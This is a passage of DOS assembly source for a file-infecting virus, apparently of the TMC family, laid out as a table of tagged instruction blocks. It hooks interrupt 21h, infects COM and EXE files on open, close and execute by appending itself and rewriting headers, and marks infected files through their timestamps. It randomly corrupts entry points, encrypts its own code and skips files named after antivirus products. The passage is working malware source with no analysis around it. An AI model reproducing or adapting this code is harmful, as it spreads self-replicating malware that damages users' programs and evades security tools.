11101111b ; End of block sliding_key_ db 11101110b ; Beginning of block dw 0bd8h ; Block identification to sliding_... db 02h+10h ; Two bytes data dw 00h ; 8-bit sliding encryption/decrypt... db 11101111b ; End of block executa_sta db 11101110b ; Beginning of block dw 1388h ; Block identification of executa_sta db 01h+10h ; One byte data db 00h ; Executable status db 11101111b ; End of block origin_code_ db 11101110b ; Beginning of block dw 1f40h ; Block identification of origin_c... db 03h+10h ; Three bytes data db 11000011b,02h dup(00h) db 11101111b ; End of block incorr_code_ db 11101110b ; Beginning of block dw 1776h ; Block identification of incorr_c... db 03h+10h ; Three bytes data db 11000011b,02h dup(00h) db 11101111b ; End of block initial_cs_ db 11101110b ; Beginning of block dw 1389h ; Block identification of initial_cs_ db 02h+10h ; Two bytes data dw 0fff0h ; Initial CS relative to start of ... db 11101111b ; End of block initial_ss_ db 11101110b ; Beginning of block dw 138ah ; Block identification of initial_ss_ db 02h+10h ; Two bytes data dw 0fff0h ; Initial SS relative to start of ... db 11101111b ; End of block initial_ip_ db 11101110b ; Beginning of block dw 138bh ; Block identification of initial_ip_ db 02h+10h ; Two bytes data dw 100h ; Initial IP db 11101111b ; End of block incorrec_ip db 11101110b ; Beginning of block dw 1773h ; Block identification of incorrec_ip db 02h+10h ; Two bytes data dw 100h ; Incorrect IP db 11101111b ; End of block initial_sp_ db 11101110b ; Beginning of block dw 138ch ; Block identification of initial_sp_ db 02h+10h ; Two bytes data dw 0fffeh ; Initial SP db 11101111b ; End of block new_mcb_siz db 11101110b ; Beginning of block dw 1393h ; Block identification of new_mcb_siz db 02h+10h ; Two bytes data dw 1000h ; New size in paragraphs db 11101111b ; End of block mcb_size__ db 11101110b ; Beginning of block dw 1395h ; Block identification of mcb_size__ db 02h+10h ; Two bytes data dw 0ffffh ; Size of memory block in paragraphs db 11101111b ; End of block mcb_size___ db 11101110b ; Beginning of block dw 1394h ; Block identification of mcb_size___ db 02h+10h ; Two bytes data dw 00h ; Size of memory block in paragraphs db 11101111b ; End of block program_seg_ db 11101110b ; Beginning of block dw 0befh ; Block identification of program_... db 02h+10h ; Two bytes data dw 00h ; Segment of PSP for current process db 11101111b ; End of block virus_lengt db 11101110b ; Beginning of block dw 0bf0h ; Block identification of virus_lengt db 02h+10h ; Two bytes data dw 00h ; Length of virus db 11101111b ; End of block vir_exit_of db 11101110b ; Beginning of block dw 0bf1h ; Block identification of vir_exit_of db 02h+10h ; Two bytes data dw 00h ; Offset of virus_exit_ db 11101111b ; End of block tmc_table_ db 11101110b ; Beginning of block dw 4c5h ; Block identification of tmc_table_ db 11101111b ; End of block db 00h ; End of table second_table db 11101111b ; End of block virus_end: crypt_table db 11101110b ; Beginning of block dw 66h ; Block identification of crypt_table db 02h ; Two bytes instruction xor bp,bp ; Zero BP db 02h ; Two bytes instruction mov ds,bp ; DS = segment of BIOS data segment db 04h ; Four bytes instruction mov bx,ds:[46dh] ; BX = timer ticks since midnight db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 03h ; Three bytes instruction and bx,1111111111110000b db 04h ; Four bytes instruction mov ds:[1234h],bx ; Store timer ticks since midnight db 11101101b ; Data reference dw 13adh ; Pointer to timer_ticks db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bfeh ; Pointer to crypt_table_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd4h ; Pointer to get_rnd_num_ db 03h ; Three bytes instruction mov ds:[1234h],al ; Store 8-bit encryption/decryptio... db 11101101b ; Data reference dw 0bd7h ; Pointer to crypt_key_ db 04h ; Four bytes instruction mov ds:[1234h],ah ; Store 8-bit sliding encryption/d... db 11101101b ; Data reference dw 0bd8h ; Pointer to sliding_key_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bfeh ; Pointer to crypt_table_ db 03h ; Three bytes instruction mov ax,3521h ; Get interrupt vector 21h db 02h ; Two bytes instruction int 21h db 03h ; Three bytes instruction mov di,1234h ; DI = offset of int21_addr db 11101101b ; Data reference dw 0c9h ; Pointer to int21_addr db 02h ; Two bytes instruction mov [di],bx ; Store offset of interrupt 21h db 03h ; Three bytes instruction mov [di+02h],es ; Store segment of interrupt 21h db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of int21_virus db 11101101b ; Data reference dw 0c8h ; Pointer to int21_virus db 03h ; Three bytes instruction mov ax,2521h ; Set interrupt vector 21h db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 65h ; Pointer to virus_exit_ db 11101111b ; End of block crypt_table_ db 11101110b ; Beginning of block dw 0bfeh ; Block identification of crypt_ta... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of tmc_table_ db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 03h ; Three bytes instruction mov cx,(code_end-first_table) db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bffh ; Pointer to crypt_loop db 11101111b ; End of block crypt_loop db 11101110b ; Beginning of block dw 0bffh ; Block identification of crypt_loop db 02h ; Two bytes instruction xor [si],al ; Encrypt byte of table db 01h ; One byte instruction inc si ; Increase offset within table db 02h ; Two bytes instruction add al,ah ; Add 8-bit sliding encryption key... db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to crypt_loop dw 0bffh ; Pointer to crypt_loop db 01h ; One byte instruction ret ; Return db 11101111b ; End of block int21_virus db 11101110b ; Beginning of block dw 0c8h ; Block identification of int21_virus db 01h ; One byte instruction cld ; Clear direction flag db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a0h ; Pointer to push_regs db 03h ; Three bytes instruction cmp ah,3ch ; Create file? db 01110100b+10000000b ; Equal? Jump to exam_drv_let dw 139ah ; Pointer to exam_drv_let db 03h ; Three bytes instruction cmp ah,3dh ; Open file? db 01110100b+10000000b ; Equal? Jump to exam_drv_let dw 139ah ; Pointer to exam_drv_let db 03h ; Three bytes instruction cmp ah,3eh ; Close file? db 01110100b+10000000b ; Equal? Jump to infect_fil dw 139ch ; Pointer to infect_fil db 03h ; Three bytes instruction cmp ah,4bh ; Load and/or execute program? db 01110101b+10000000b ; Not equal? Jump to int21_exit dw 13a6h ; Pointer to int21_exit db 11101001b ; JMP imm16 (opcode 0e9h) dw 13a9h ; Pointer to infect_file db 11101111b ; End of block infect_file db 11101110b ; Beginning of block dw 13a9h ; Block identification of infect_file db 11101000b ; CALL imm16 (opcode 0e8h) dw 1392h ; Pointer to infect_fil_ db 11101001b ; JMP imm16 (opcode 0e9h) dw 13a6h ; Pointer to int21_exit db 11101111b ; End of block int21_exit db 11101110b ; Beginning of block dw 13a6h ; Block identification of int21_exit db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a1h ; Pointer to pop_regs db 05h ; Five bytes instruction jmp dword ptr cs:[1234h] db 11101101b ; Data reference dw 0c9h ; Pointer to int21_addr db 11101111b ; End of block exam_drv_let db 11101110b ; Beginning of block dw 139ah ; Block identification of exam_drv... db 02h ; Two bytes instruction mov si,dx ; SI = offset of filename db 01h ; One byte instruction lodsb ; AL = first byte of filename db 03h ; Three bytes instruction cmp byte ptr [si],':' ; Does filename include drive letter? db 01110101b+10000000b ; Not equal? Jump to exam_def_drv dw 139bh ; Pointer to exam_def_drv db 02h ; Two bytes instruction or al,20h ; Lowercase character db 02h ; Two bytes instruction cmp al,'b' ; Floppy disk? db 01110111b+10000000b ; Above? Jump to int21_exit dw 13a6h ; Pointer to int21_exit db 11101001b ; JMP imm16 (opcode 0e9h) dw 13a8h ; Pointer to infect_file_ db 11101111b ; End of block exam_def_drv db 11101110b ; Beginning of block dw 139bh ; Block identification of exam_def... db 01h ; One byte instruction push ax ; Save AX at stack db 02h ; Two bytes instruction mov ah,19h ; Get current default drive db 02h ; Two bytes instruction int 21h db 02h ; Two bytes instruction cmp al,01h ; Floppy disk? db 01h ; One byte instruction pop ax ; Load AX from stack db 01110111b+10000000b ; Above? Jump to int21_exit dw 13a6h ; Pointer to int21_exit db 11101001b ; JMP imm16 (opcode 0e9h) dw 13a8h ; Pointer to infect_file_ db 11101111b ; End of block infect_file_ db 11101110b ; Beginning of block dw 13a8h ; Block identification of infect_f... db 03h ; Three bytes instruction cmp ah,3ch ; Create file? db 01110101b+10000000b ; Not equal? Jump to infect_file dw 13a9h ; Pointer to infect_file db 02h ; Two bytes instruction xor bx,bx ; Zero file handle db 11101000b ; CALL imm16 (opcode 0e8h) dw 13abh ; Pointer to exam_psp_etc db 01110101b+10000000b ; Not zero? Jump to int21_exit dw 13a6h ; Pointer to int21_exit db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a4h ; Pointer to int24_store db 02h ; Two bytes instruction mov ah,60h ; Canonicalize filename or path db 01h ; One byte instruction dec si ; SI = offset of filename db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop es ; Load ES from stack (CS) db 03h ; Three bytes instruction mov di,1234h ; DI = offset of filename db 11101101b ; Data reference dw 139eh ; Pointer to filename db 02h ; Two bytes instruction int 21h db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a1h ; Pointer to pop_regs db 01h ; One byte instruction pushf ; Save flags at stack db 05h ; Five bytes instruction call dword ptr cs:[1234h] db 11101101b ; Data reference dw 0c9h ; Pointer to int21_addr db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a0h ; Pointer to push_regs db 01h ; One byte instruction pushf ; Save flags at stack db 03h ; Three bytes instruction mov bx,1111111111111111b db 03h ; Three bytes instruction adc bx,00h ; BX = file handle mask db 02h ; Two bytes instruction and ax,bx ; AX = file handle db 04h ; Four bytes instruction mov cs:[1234h],ax ; Store file handle db 11101101b ; Data reference dw 139dh ; Pointer to file_handle db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a5h ; Pointer to int24_load db 01h ; One byte instruction popf ; Load flags from stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a1h ; Pointer to pop_regs db 01h ; One byte instruction sti ; Set interrupt-enable flag db 03h ; Three bytes instruction retf 02h ; Return far and ??? db 11101111b ; End of block infect_fil db 11101110b ; Beginning of block dw 139ch ; Block identification of infect_fil db 11101000b ; CALL imm16 (opcode 0e8h) dw 13abh ; Pointer to exam_psp_etc db 01110010b+10000000b ; Store segment of PSP for current... dw 13a6h ; Pointer to int21_exit db 02h ; Two bytes instruction xor ax,ax ; Zero file handle db 04h ; Four bytes instruction mov cs:[1234h],ax ; Store file handle db 11101101b ; Data reference dw 139dh ; Pointer to file_handle db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a1h ; Pointer to pop_regs db 01h ; One byte instruction pushf ; Save flags at stack db 05h ; Five bytes instruction call dword ptr cs:[1234h] db 11101101b ; Data reference dw 0c9h ; Pointer to int21_addr db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a0h ; Pointer to push_regs db 01h ; One byte instruction pushf ; Save flags at stack db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of filename db 11101101b ; Data reference dw 139eh ; Pointer to filename db 11101000b ; CALL imm16 (opcode 0e8h) dw 1392h ; Pointer to infect_fil_ db 01h ; One byte instruction popf ; Load flags from stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a1h ; Pointer to pop_regs db 01h ; One byte instruction sti ; Set interrupt-enable flag db 03h ; Three bytes instruction retf 02h ; Return far and ??? db 11101111b ; End of block exam_psp_etc db 11101110b ; Beginning of block dw 13abh ; Block identification of exam_psp... db 01h ; One byte instruction push bx ; Save BX at stack db 02h ; Two bytes instruction mov ah,62h ; Get current PSP address db 02h ; Two bytes instruction int 21h db 03h ; Three bytes instruction mov di,1234h ; DI = offset of progra_seg db 11101101b ; Data reference dw 139fh ; Pointer to progra_seg db 03h ; Three bytes instruction cmp cs:[di],bx ; Segment of PSP for current proc...? db 03h ; Three bytes instruction mov cs:[di],bx ; Store segment of PSP for current... db 03h ; Three bytes instruction mov di,1234h ; DI = offset of file_handle db 11101101b ; Data reference dw 139dh ; Pointer to file_handle db 01110101b+10000000b ; Not equal? Jump to dont_infect dw 13ach ; Pointer to dont_infect db 01h ; One byte instruction pop bx ; Load BX from stack db 02h ; Two bytes instruction mov ax,bx ; AX = file handle db 03h ; Three bytes instruction sub ax,cs:[di] ; Subtract saved file handle from ... db 03h ; Three bytes instruction add ax,0ffffh ; Add sixty-five thousand five hun... db 01h ; One byte instruction inc ax ; Increase file handle db 01h ; One byte instruction ret ; Return db 11101111b ; End of block dont_infect db 11101110b ; Beginning of block dw 13ach ; Block identification of dont_infect db 05h ; Five bytes instruction mov word ptr cs:[di],00h db 02h ; Two bytes instruction xor ax,ax ; Zero file handle db 01h ; One byte instruction pop bx ; Load BX from stack db 01h ; One byte instruction stc ; Set carry flag db 01h ; One byte instruction ret ; Return db 11101111b ; End of block infect_fil_ db 11101110b ; Beginning of block dw 1392h ; Block identification of infect_fil_ db 01h ; One byte instruction push ds ; Save DS at stack db 01h ; One byte instruction pop es ; Load ES from stack (DS) db 02h ; Two bytes instruction mov di,dx ; DI = offset of filename db 03h ; Three bytes instruction mov cx,43h ; CX = number of bytes to search t... db 02h ; Two bytes instruction xor al,al ; Zero AL db 02h ; Two bytes instruction repne scasb ; Find end of filename db 01110101b+10000000b ; Not equal? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction lea si,[di-05h] ; SI = offset of the dot in the fi... db 01h ; One byte instruction lodsw ; AX = two bytes of filename db 03h ; Three bytes instruction or ax,2020h ; Lowercase characters db 03h ; Three bytes instruction mov bx,'mo' ; COM executable db 03h ; Three bytes instruction cmp ax,'c.' ; COM executable? db 01110100b+10000000b ; Equal? Jump to examine_ext dw 0f0h ; Pointer to examine_ext db 03h ; Three bytes instruction mov bx,'ex' ; EXE executable db 03h ; Three bytes instruction cmp ax,'e.' ; EXE executable? db 01110100b+10000000b ; Equal? Jump to examine_ext dw 0f0h ; Pointer to examine_ext db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fbh ; Pointer to infect_exit_ db 11101111b ; End of block examine_ext db 11101110b ; Beginning of block dw 0f0h ; Block identification of examine_ext db 01h ; One byte instruction lodsw ; AX = two bytes of filename db 03h ; Three bytes instruction or ax,2020h ; Lowercase characters db 02h ; Two bytes instruction cmp ax,bx ; COM or EXE executable? db 01110101b+10000000b ; Not equal? Jump to examine_ext dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction sub si,04h ; SI = offset of the dot in the fi... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1398h ; Pointer to find_name db 11101111b ; End of block find_name db 11101110b ; Beginning of block dw 1398h ; Block identification of find_name db 01h ; One byte instruction dec si ; SI = offset within filename db 02h ; Two bytes instruction mov al,[si] ; AL = byte of filename db 02h ; Two bytes instruction cmp al,'/' ; Beginning of filename? db 01110100b+10000000b ; Equal? Jump to examine_name dw 1397h ; Pointer to examine_name db 02h ; Two bytes instruction cmp al,'\' ; Beginning of filename? db 01110100b+10000000b ; Equal? Jump to examine_name dw 1397h ; Pointer to examine_name db 02h ; Two bytes instruction cmp al,':' ; Beginning of filename? db 01110100b+10000000b ; Equal? Jump to examine_name dw 1397h ; Pointer to examine_name db 02h ; Two bytes instruction cmp si,dx ; Beginning of filename? db 01110111b+10000000b ; Above? Jump to find_name dw 1398h ; Pointer to find_name db 01h ; One byte instruction dec si ; SI = offset within filename db 11101001b ; JMP imm16 (opcode 0e9h) dw 1397h ; Pointer to examine_name db 11101111b ; End of block examine_name db 11101110b ; Beginning of block dw 1397h ; Block identification of examine_... db 01h ; One byte instruction inc si ; SI = offset of beginning of file... db 01h ; One byte instruction lodsw ; AX = two bytes of filename db 03h ; Three bytes instruction or ax,2020h ; Lowercase characters db 03h ; Three bytes instruction xor ax,0aa55h ; Encrypt two bytes of filename db 03h ; Three bytes instruction cmp ax,('ci' xor 0aa55h) db 01110100b+10000000b ; Equal? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('on' xor 0aa55h) db 01110100b+10000000b ; NOD-iCE? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('ew' xor 0aa55h) db 01110100b+10000000b ; Dr. Web? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('bt' xor 0aa55h) db 01110100b+10000000b ; ThunderByte Anti-Virus? Jump to ... dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('va' xor 0aa55h) db 01110100b+10000000b ; AntiViral Toolkit Pro? Jump to i... dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('-f' xor 0aa55h) db 01110100b+10000000b ; F-PROT? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('cs' xor 0aa55h) db 01110100b+10000000b ; McAfee ViruScan? Jump to infect_... dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('lc' xor 0aa55h) db 01110100b+10000000b ; McAfee ViruScan? Jump to infect_... dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('oc' xor 0aa55h) db 01110100b+10000000b ; COMMAND.COM? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('iw' xor 0aa55h) db 01110100b+10000000b ; WIN.COM? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 03h ; Three bytes instruction cmp ax,('rk' xor 0aa55h) db 01110100b+10000000b ; Equal? Jump to infect_exit_ dw 0fbh ; Pointer to infect_exit_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a4h ; Pointer to int24_store db 03h ; Three bytes instruction mov ax,3d02h ; Open file (read/write) db 01h ; One byte instruction pushf ; Save flags at stack db 05h ; Five bytes instruction call dword ptr cs:[1234h] db 11101101b ; Data reference dw 0c9h ; Pointer to int21_addr db 01110010b+10000000b ; Error? Jump to terminate_ dw 1771h ; Pointer to infect_exit db 02h ; Two bytes instruction mov bx,ax ; BX = file handle db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 02h ; Two bytes instruction mov ds,ax ; DS = segment of BIOS data segment db 04h ; Four bytes instruction mov si,ds:[46dh] ; SI = timer ticks since midnight db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 01h ; One byte instruction pop es ; Load ES from stack (CS) db 03h ; Three bytes instruction mov ax,5700h ; Get file's date and time db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 04h ; Four bytes instruction mov ds:[1234h],dx ; Store file's date db 11101101b ; Data reference dw 12dh ; Pointer to file_date db 02h ; Two bytes instruction mov al,cl ; AL = low-order byte of file time db 02h ; Two bytes instruction and al,00011111b ; AL = file seconds db 02h ; Two bytes instruction cmp al,00000100b ; Already infected (8 seconds)? db 01110100b+10000000b ; Equal? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction and cl,11100000b ; Zero file seconds db 03h ; Three bytes instruction or cl,00000100b ; Set infection mark (8 seconds) db 04h ; Four bytes instruction mov ds:[1234h],cx ; Store file's time db 11101101b ; Data reference dw 12ch ; Pointer to file_time db 03h ; Three bytes instruction and si,1111111111110000b db 04h ; Four bytes instruction cmp ds:[1234h],si ; Infect file? db 11101101b ; Data reference dw 13adh ; Pointer to timer_ticks db 01110100b+10000000b ; Equal? Jump to close_file dw 0fah ; Pointer to close_file db 04h ; Four bytes instruction mov ds:[1234h],si ; Store timer ticks since midnight db 11101101b ; Data reference dw 13adh ; Pointer to timer_ticks db 02h ; Two bytes instruction mov ah,3fh ; Read from file db 03h ; Three bytes instruction mov cx,18h ; Read twenty-four bytes db 03h ; Three bytes instruction mov dx,1234h ; DX = offset of exe_header db 11101101b ; Data reference dw 138fh ; Pointer to exe_header db 02h ; Two bytes instruction mov si,dx ; SI = offset of exe_header db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction mov ax,4202h ; Set current file position (EOF) db 01h ; One byte instruction cwd ; DX = high-order word of offset f... db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction int 21h db 06h ; Six bytes instruction mov ds:[00h],0010111010001101b db 04h ; Four bytes instruction cmp [si],'ZM' ; EXE signature? db 01110100b+10000000b ; Equal? Jump to infect_exe dw 138dh ; Pointer to infect_exe db 04h ; Four bytes instruction cmp [si],'MZ' ; EXE signature? db 01110100b+10000000b ; Equal? Jump to infect_exe dw 138dh ; Pointer to infect_exe db 04h ; Four bytes instruction mov ds:[1234h],cl ; Store executable status db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 03h ; Three bytes instruction cmp ax,0bb8h ; Too small in filesize? db 01110010b+10000000b ; Below? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction cmp ax,0dea8h ; Too large in filesize? db 01110111b+10000000b ; Above? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov di,1234h ; DI = offset of exe_header db 11101101b ; Data reference dw 138fh ; Pointer to exe_header db 02h ; Two bytes instruction mov cl,[di] ; CL = first byte of original code... db 03h ; Three bytes instruction mov byte ptr [di],11101001b db 01h ; One byte instruction inc di ; DI = offset within exe_header db 04h ; Four bytes instruction mov ds:[1234h],cl ; Store first byte of original cod... db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 04h ; Four bytes instruction mov ds:[1234h],cl ; Store first byte of original cod... db 11101101b ; Data reference dw 1776h ; Pointer to incorr_code_ db 02h ; Two bytes instruction mov cx,[di] ; CX = word of original code of in... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of origin_code_ db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 03h ; Three bytes instruction mov [si+01h],cx ; Store word of original code of i... db 03h ; Three bytes instruction sub ax,03h ; AX = offset of virus within infe... db 01h ; One byte instruction stosw ; Store offset of virus within inf... db 03h ; Three bytes instruction mov ax,14h ; AX = probability of storing inco... db 04h ; Four bytes instruction cmp ds:[1234h],ax ; Store incorrect IP? db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 01110111b+10000000b ; Above? Jump to write_virus dw 13afh ; Pointer to dont_corrupt db 03h ; Three bytes instruction mov bp,10h ; Random number within sixteen db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 03h ; Three bytes instruction sub ax,08h ; Subtract eight from random number db 02h ; Two bytes instruction add cx,ax ; Add random number to word of ori... db 11101001b ; JMP imm16 (opcode 0e9h) dw 13afh ; Pointer to dont_corrupt db 11101111b ; End of block dont_corrupt db 11101110b ; Beginning of block dw 13afh ; Block identification of dont_cor... db 03h ; Three bytes instruction mov si,1234h ; SI = offset of incorr_code_ db 11101101b ; Data reference dw 1776h ; Pointer to incorr_code_ db 03h ; Three bytes instruction mov [si+01h],cx ; Store word of original code of i... db 01h ; One byte instruction pop si ; Load SI from stack db 03h ; Three bytes instruction mov ax,0fff0h ; AX = initial CS and SS relative ... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial CS relative to sta... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial SS relative to sta... db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 03h ; Three bytes instruction mov ax,100h ; AX = initial IP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial IP db 11101101b ; Data reference dw 138bh ; Pointer to initial IP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial IP db 11101101b ; Data reference dw 1773h ; Pointer to incorrec_ip db 03h ; Three bytes instruction mov ax,0fffeh ; AX = initial SP db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial SP db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 01h ; One byte instruction inc ax ; Increase size of memory block in... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store size of memory block in pa... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 03h ; Three bytes instruction mov ax,1000h ; AX = new size in paragraphs db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store new size in paragraphs db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 03h ; Three bytes instruction mov ax,4202h ; Set current file position (EOF) db 01h ; One byte instruction cwd ; DX = low-order word of offset f... db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction int 21h db 03h ; Three bytes instruction add ax,100h ; AX = delta offset db 11101001b ; JMP imm16 (opcode 0e9h) dw 138eh ; Pointer to write_virus db 11101111b ; End of block write_virus db 11101110b ; Beginning of block dw 138eh ; Block identification of write_virus db 03h ; Three bytes instruction mov ds:[02h],ax ; Store delta offset db 02h ; Two bytes instruction mov ah,40h ; Write to file db 01h ; Two bytes instruction cwd ; Zero DX db 03h ; Three bytes instruction mov cx,1234h ; CX = length of virus db 11101101b ; Data reference dw 66h ; Pointer to virus_end db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction mov ax,4200h ; Set current file position (SOF) db 01h ; One byte instruction cwd ; DX = low-order word of offset f... db 02h ; Two bytes instruction xor cx,cx ; CX = high-order word of offset f... db 02h ; Two bytes instruction int 21h db 02h ; Two bytes instruction mov ah,40h ; Write to file db 02h ; Two bytes instruction mov dx,si ; DX = offset of exe_header db 03h ; Three bytes instruction mov cx,18h ; Write twenty-four bytes db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to close_file dw 0fah ; Pointer to close_file db 03h ; Three bytes instruction mov ax,5701h ; Set file's date and time db 04h ; Four bytes instruction mov cx,ds:[1234h] ; CX = new time db 11101101b ; Data reference dw 12ch ; Pointer to file_time db 04h ; Four bytes instruction mov dx,ds:[1234h] ; DX = new date db 11101101b ; Data reference dw 12dh ; Pointer to file_date db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fah ; Pointer to close_file db 11101111b ; End of block close_file db 11101110b ; Beginning of block dw 0fah ; Block identification of close_file db 02h ; Two bytes instruction mov ah,3eh ; Close file db 02h ; Two bytes instruction int 21h db 11101001b ; JMP imm16 (opcode 0e9h) dw 1771h ; Pointer to infect_exit db 11101111b ; End of block infect_exit db 11101110b ; Beginning of block dw 1771h ; Block identification of infect_exit db 11101000b ; CALL imm16 (opcode 0e8h) dw 13a5h ; Pointer to int24_load db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fbh ; Pointer to infect_exit_ db 11101111b ; End of block infect_exit_ db 11101110b ; Beginning of block dw 0fbh ; Block identification of infect_e... db 01h ; One byte instruction ret ; Return db 11101111b ; End of block infect_exe db 11101110b ; Beginning of block dw 138dh ; Block identification of infect_exe db 01h ; One byte instruction inc cx ; EXE executable db 04h ; Four bytes instruction mov ds:[1234h],cl ; Store executable status db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 02h ; Two bytes instruction or dx,dx ; Too small in filesize? db 01110101b+10000000b ; Not zero? Jump to exam_filesiz dw 13aeh ; Pointer to exam_filesiz db 03h ; Three bytes instruction cmp ax,2710h ; Too small in filesize? db 01110010b+10000000b ; Below? Jump to close_file dw 0fah ; Pointer to close_file db 11101001b ; JMP imm16 (opcode 0e9h) dw 13aeh ; Pointer to exam_filesiz db 11101111b ; End of block exam_filesiz db 11101110b ; Beginning of block dw 13aeh ; Block identification of exam_fil... db 03h ; Three bytes instruction cmp dx,06h ; Too large in filesize? db 01110111b+10000000b ; Above? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 03h ; Three bytes instruction mov cx,200h ; Divide by pages db 02h ; Two bytes instruction div cx ; DX:AX = filesize in pages db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 03h ; Three bytes instruction cmp [si+04h],ax ; Internal overlay? db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 01110101b+10000000b ; Not equal? Jump to close_file dw 0fah ; Pointer to close_file db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push dx ; Save DX at stack db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 04h ; Four bytes instruction cmp [si+0ch],0ffffh ; Maximum paragraphs to allocate ...? db 01110100b+10000000b ; Equal? Jump to maximum_mem dw 1399h ; Pointer to maximum_mem db 03h ; Three bytes instruction mov ax,[si+04h] ; AX = total number of 512-byte pa... db 01h ; One byte instruction inc ax ; Increase total number of 512-byt... db 02h ; Two bytes instruction mov cl,05h ; Divide by thirty-two db 02h ; Two bytes instruction shl ax,cl ; AX = total number of 512-byte pa... db 03h ; Three bytes instruction sub ax,[si+08h] ; Subtract header size in paragrap... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1399h ; Pointer to maximum_mem db 11101111b ; End of block maximum_mem db 11101110b ; Beginning of block dw 1399h ; Block identification of maximum_mem db 03h ; Three bytes instruction add ax,[si+0ch] ; Add maximum paragraphs to alloca... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store size of memory block in pa... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 03h ; Three bytes instruction mov ax,[si+0eh] ; AX = initial SS relative to star... db 03h ; Three bytes instruction mov ds:[1234h],ax ; Store initial SS relative to sta... db 11101101b ; Data reference dw 138ah ; Pointer to 